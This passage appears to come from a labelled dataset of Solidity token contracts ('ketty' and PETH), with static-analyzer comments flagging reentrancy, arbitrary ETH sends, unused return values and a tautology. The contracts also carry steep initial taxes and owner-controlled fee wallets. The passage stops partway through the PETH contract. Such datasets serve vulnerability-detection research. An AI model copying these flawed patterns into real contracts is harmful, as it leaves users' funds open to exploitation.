{\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract gey is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6acc35c): gey._taxWallet should be immutable \n\t// Recommendation for 6acc35c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 firstBlock;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5bb95ab): gey._initialBuyTax should be constant \n\t// Recommendation for 5bb95ab: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2fbf542): gey._initialSellTax should be constant \n\t// Recommendation for 2fbf542: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 41;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6cb797c): gey._finalBuyTax should be constant \n\t// Recommendation for 6cb797c: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 70b2e06): gey._finalSellTax should be constant \n\t// Recommendation for 70b2e06: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2ca6865): gey._reduceBuyTaxAt should be constant \n\t// Recommendation for 2ca6865: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 40;\n\n\t// WARNING Optimization Issue (constable-states | ID: f7d4a45): gey._reduceSellTaxAt should be constant \n\t// Recommendation for f7d4a45: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 40;\n\n\t// WARNING Optimization Issue (constable-states | ID: ac7fec0): gey._preventSwapBefore should be constant \n\t// Recommendation for ac7fec0: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"reoring ketty\";\n\n string private constant _symbol = unicode\"ketty\";\n\n uint256 public _maxTxAmount = 2000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4f1f040): gey._taxSwapThreshold should be constant \n\t// Recommendation for 4f1f040: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3b9e4e1): gey._maxTaxSwap should be constant \n\t// Recommendation for 3b9e4e1: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2a91d75): gey.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2a91d75: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a2ae92f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a2ae92f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ee72247): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ee72247: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: a2ae92f\n\t\t// reentrancy-benign | ID: ee72247\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: a2ae92f\n\t\t// reentrancy-benign | ID: ee72247\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a6b41a6): gey._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a6b41a6: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: ee72247\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: a2ae92f\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: be8eada): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for be8eada: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1e07a18): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1e07a18: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 1 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: be8eada\n\t\t\t\t// reentrancy-eth | ID: 1e07a18\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: be8eada\n\t\t\t\t\t// reentrancy-eth | ID: 1e07a18\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 1e07a18\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: be8eada\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 1e07a18\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 1e07a18\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: be8eada\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: be8eada\n\t\t// reentrancy-events | ID: a2ae92f\n\t\t// reentrancy-benign | ID: ee72247\n\t\t// reentrancy-eth | ID: 1e07a18\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 078eb51): gey.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 078eb51: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: be8eada\n\t\t// reentrancy-events | ID: a2ae92f\n\t\t// reentrancy-eth | ID: 1e07a18\n\t\t// arbitrary-send-eth | ID: 078eb51\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1784d46): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1784d46: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7c08597): gey.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 7c08597: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 68a8d9b): gey.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 68a8d9b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b539c87): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b539c87: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 1784d46\n\t\t// reentrancy-eth | ID: b539c87\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 1784d46\n\t\t// unused-return | ID: 7c08597\n\t\t// reentrancy-eth | ID: b539c87\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 1784d46\n\t\t// unused-return | ID: 68a8d9b\n\t\t// reentrancy-eth | ID: b539c87\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 1784d46\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: b539c87\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 1784d46\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10714.sol",
"size_bytes": 18983,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ninterface IERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 49c9350): PETH.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 49c9350: Rename the local variables that shadow another component.\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, _allowances[owner][spender] + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = _allowances[owner][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: 7c451bc\n _balances[from] = fromBalance - amount;\n }\n\n\t\t// reentrancy-eth | ID: 7c451bc\n _balances[to] += amount;\n\n\t\t// reentrancy-events | ID: 49fc865\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\ncontract PETH is ERC20, Ownable {\n using SafeMath for uint256;\n\n IUniswapV2Router02 private constant _router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n address public v2Pair;\n\n address public immutable feeRecipientAddress;\n\n uint256 public maxSwapAmount;\n\n uint256 public maxWalletAmount;\n\n uint256 public feeThresholdSize;\n\n uint256 private _contractSwapMax = 3;\n\n uint256 private _contractSwapMin = 7;\n\n mapping(uint256 => uint256) private _swapBlocks;\n\n uint256 public buyTax;\n\n uint256 public sellTax;\n\n bool private _inSwap;\n\n mapping(address => bool) private _isExcludedFromLimits;\n\n event FeeSwap(uint256 indexed value);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 49c9350): PETH.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 49c9350: Rename the local variables that shadow another component.\n constructor() payable ERC20(\"PETH\", \"PETH\") {\n uint256 totalSupply = 1000000000 * 1e18;\n\n uint256 caSupply = totalSupply.mul(5).div(100);\n\n maxSwapAmount = totalSupply.mul(1).div(100);\n\n maxWalletAmount = totalSupply.mul(2).div(100);\n\n feeThresholdSize = totalSupply.mul(5).div(1000);\n\n feeRecipientAddress = 0x748Cf9A0FA146799B3e668aD647E100B6D65B5f3;\n\n buyTax = 7;\n\n sellTax = 7;\n\n _isExcludedFromLimits[feeRecipientAddress] = true;\n\n _isExcludedFromLimits[msg.sender] = true;\n\n _isExcludedFromLimits[tx.origin] = true;\n\n _isExcludedFromLimits[address(this)] = true;\n\n _isExcludedFromLimits[address(0xdead)] = true;\n\n _mint(address(this), caSupply);\n\n _mint(tx.origin, totalSupply.sub(caSupply));\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 49fc865): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 49fc865: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7c451bc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7c451bc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(\n from != address(0),\n \"Transfer from the zero address not allowed.\"\n );\n\n require(to != address(0), \"Transfer to the zero address not allowed.\");\n\n require(amount > 0, \"Transfer amount must be greater than zero.\");\n\n bool excluded = _isExcludedFromLimits[from] ||\n _isExcludedFromLimits[to];\n\n require(\n v2Pair != address(0) || excluded,\n \"Liquidity pair not yet created.\"\n );\n\n bool isSell = to == v2Pair;\n\n bool isBuy = from == v2Pair;\n\n if ((isBuy || isSell) && maxSwapAmount > 0 && !excluded)\n require(\n amount <= maxSwapAmount,\n \"Swap value exceeds max swap amount, try again with less swap value.\"\n );\n\n if (!isSell && maxWalletAmount > 0 && !excluded)\n require(\n balanceOf(to) + amount <= maxWalletAmount,\n \"Balance exceeds max holdings amount, consider using a second wallet.\"\n );\n\n if (\n balanceOf(address(this)) >= feeThresholdSize &&\n !_inSwap &&\n isSell &&\n !excluded &&\n shouldSwapBack(amount)\n ) {\n _inSwap = true;\n\n\t\t\t// reentrancy-events | ID: 49fc865\n\t\t\t// reentrancy-eth | ID: 7c451bc\n _swapTokenFee();\n\n\t\t\t// reentrancy-eth | ID: 7c451bc\n _inSwap = false;\n }\n\n uint256 fee = isBuy ? buyTax : sellTax;\n\n if (fee > 0) {\n if (!excluded && !_inSwap && (isBuy || isSell)) {\n uint256 fees = amount.mul(fee).div(100);\n\n\t\t\t\t// reentrancy-events | ID: 49fc865\n\t\t\t\t// reentrancy-eth | ID: 7c451bc\n if (fees > 0) super._transfer(from, address(this), fees);\n\n amount = amount.sub(fees);\n }\n }\n\n\t\t// reentrancy-events | ID: 49fc865\n\t\t// reentrancy-eth | ID: 7c451bc\n super._transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 2d8320d): PETH.shouldSwapBack(uint256) contains a tautology or contradiction amount >= 0 && _swapBlocks[block.number] ++ < 2\n\t// Recommendation for 2d8320d: Fix the incorrect comparison by changing the value type or the comparison.\n function shouldSwapBack(uint256 amount) private returns (bool) {\n\t\t// tautology | ID: 2d8320d\n return\n amount >=\n (_contractSwapMin == 0 ? 0 : feeThresholdSize / _contractSwapMin) &&\n _swapBlocks[block.number]++ < 2;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2407929): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2407929: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _swapTokenFee() private {\n uint256 contractBalance = balanceOf(address(this));\n\n if (contractBalance == 0) return;\n\n if (contractBalance > feeThresholdSize)\n contractBalance = feeThresholdSize;\n\n uint256 initETHBal = address(this).balance;\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _router.WETH();\n\n _approve(address(this), address(_router), contractBalance);\n\n\t\t// reentrancy-events | ID: 2407929\n\t\t// reentrancy-events | ID: 49fc865\n\t\t// reentrancy-eth | ID: 7c451bc\n _router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n contractBalance,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n uint256 ethFee = address(this).balance.sub(initETHBal);\n\n uint256 splitFee = ethFee.mul(5).div(100);\n\n ethFee = ethFee.sub(splitFee);\n\n\t\t// reentrancy-events | ID: 2407929\n\t\t// reentrancy-events | ID: 49fc865\n\t\t// reentrancy-eth | ID: 7c451bc\n payable(feeRecipientAddress).transfer(ethFee);\n\n\t\t// reentrancy-events | ID: 2407929\n\t\t// reentrancy-events | ID: 49fc865\n\t\t// reentrancy-eth | ID: 7c451bc\n payable(0x485567f2ea7Cb4780973db99DA2A8e933263d627).transfer(splitFee);\n\n\t\t// reentrancy-events | ID: 2407929\n emit FeeSwap(splitFee);\n }\n\n function enableTrading() external onlyOwner {\n v2Pair = IUniswapV2Factory(_router.factory()).getPair(\n address(this),\n _router.WETH()\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 6a0bce0): PETH.updateFeeThreshold(uint256) should emit an event for feeThresholdSize = newThreshold \n\t// Recommendation for 6a0bce0: Emit an event for critical parameter changes.\n function updateFeeThreshold(uint256 newThreshold) external {\n require(msg.sender == feeRecipientAddress || msg.sender == owner());\n\n require(\n newThreshold >= totalSupply().mul(1).div(100000),\n \"Swap threshold cannot be lower than 0.001% total supply.\"\n );\n\n require(\n newThreshold <= totalSupply().mul(2).div(100),\n \"Swap threshold cannot be higher than 2% total supply.\"\n );\n\n\t\t// events-maths | ID: 6a0bce0\n feeThresholdSize = newThreshold;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 99590c7): PETH.updateFees(uint256,uint256) should emit an event for buyTax = newBuyFee sellTax = newSellFee \n\t// Recommendation for 99590c7: Emit an event for critical parameter changes.\n function updateFees(\n uint256 newBuyFee,\n uint256 newSellFee\n ) external onlyOwner {\n require(\n newBuyFee <= 7 && newSellFee <= 7,\n \"Attempting to set fee higher than initial fee.\"\n );\n\n\t\t// events-maths | ID: 